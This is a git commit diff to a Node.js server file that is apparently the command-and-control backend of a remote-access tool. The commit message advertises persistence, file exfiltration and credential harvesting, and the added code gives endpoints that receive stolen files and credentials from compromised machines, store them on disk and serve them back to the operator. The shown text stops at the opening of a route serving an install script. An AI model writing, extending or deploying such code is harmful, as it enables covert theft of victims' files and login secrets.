v2: persistence, file exfil, screenshot, harvest creds, auto-update, persistence fallbacks

This commit is contained in:
root
2026-08-03 13:18:05 +00:00
parent 6cdb58ecff
commit e453ccda36
4 changed files with 394 additions and 8 deletions

107
server.js
View File

@@ -5,6 +5,7 @@ const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
const fs = require('fs');
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
@@ -13,10 +14,14 @@ const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
const PORT = process.env.PORT || 3000;
const PUBLIC_URL = process.env.PUBLIC_URL || null; // e.g. https://agent.thetempleofdoom.com
const PUBLIC_URL = process.env.PUBLIC_URL || null;
const DATA_DIR = path.join(__dirname, 'data');
// Ensure data directory exists
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
app.use(cors());
app.use(express.json({ limit: '10mb' }));
app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));
function getLocalIp() {
@@ -39,6 +44,34 @@ const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
// ── Persistence ──
function saveData() {
try {
fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
} catch(e) { /* silent */ }
}
function loadData() {
try {
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
} catch(e) { /* first run */ }
}
loadData();
// Auto-save every 30 seconds
setInterval(saveData, 30000);
setInterval(() => {
const now = Date.now();
@@ -55,6 +88,7 @@ setInterval(() => {
}, 5000);
function broadcastState() {
saveData(); // Persist on every state change
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
@@ -520,6 +554,75 @@ app.post('/api/nodes/:id/ping', (req, res) => {
res.json({ success: true, commandId: cmdId });
});
// ── File Exfiltration — agent sends file back ──
app.post('/api/agent/file-result', (req, res) => {
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = error ? 'failed' : 'completed';
entry.completedAt = Date.now();
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
else entry.output = `[FILE ERROR] ${error}`;
}
if (!error && data) {
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
exfiltratedFiles.set(fileId, {
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
});
}
broadcastState();
res.json({ success: true });
});
// ── Download exfiltrated file ──
app.get('/api/files/:id', (req, res) => {
const file = exfiltratedFiles.get(req.params.id);
if (!file) return res.status(404).json({ error: 'File not found' });
const buf = Buffer.from(file.data, 'base64');
res.setHeader('Content-Type', file.mime);
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
res.send(buf);
});
// ── List exfiltrated files ──
app.get('/api/files', (req, res) => {
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
mime: f.mime, size: f.size, timestamp: f.timestamp
})));
});
// ── Credential Harvest Result ──
app.post('/api/agent/harvest-result', (req, res) => {
const { commandId, nodeId, hostname, credentials, error } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = error ? 'failed' : 'completed';
entry.completedAt = Date.now();
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
}
if (credentials && Array.isArray(credentials)) {
credentials.forEach(c => {
harvestedCredentials.push({
nodeId, hostname, type: c.type || 'unknown', data: c.data,
timestamp: Date.now()
});
});
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
}
broadcastState();
res.json({ success: true });
});
// ── List harvested credentials ──
app.get('/api/credentials', (req, res) => {
const { nodeId } = req.query;
let filtered = harvestedCredentials;
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
res.json(filtered.slice(-200));
});
app.get('/install.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash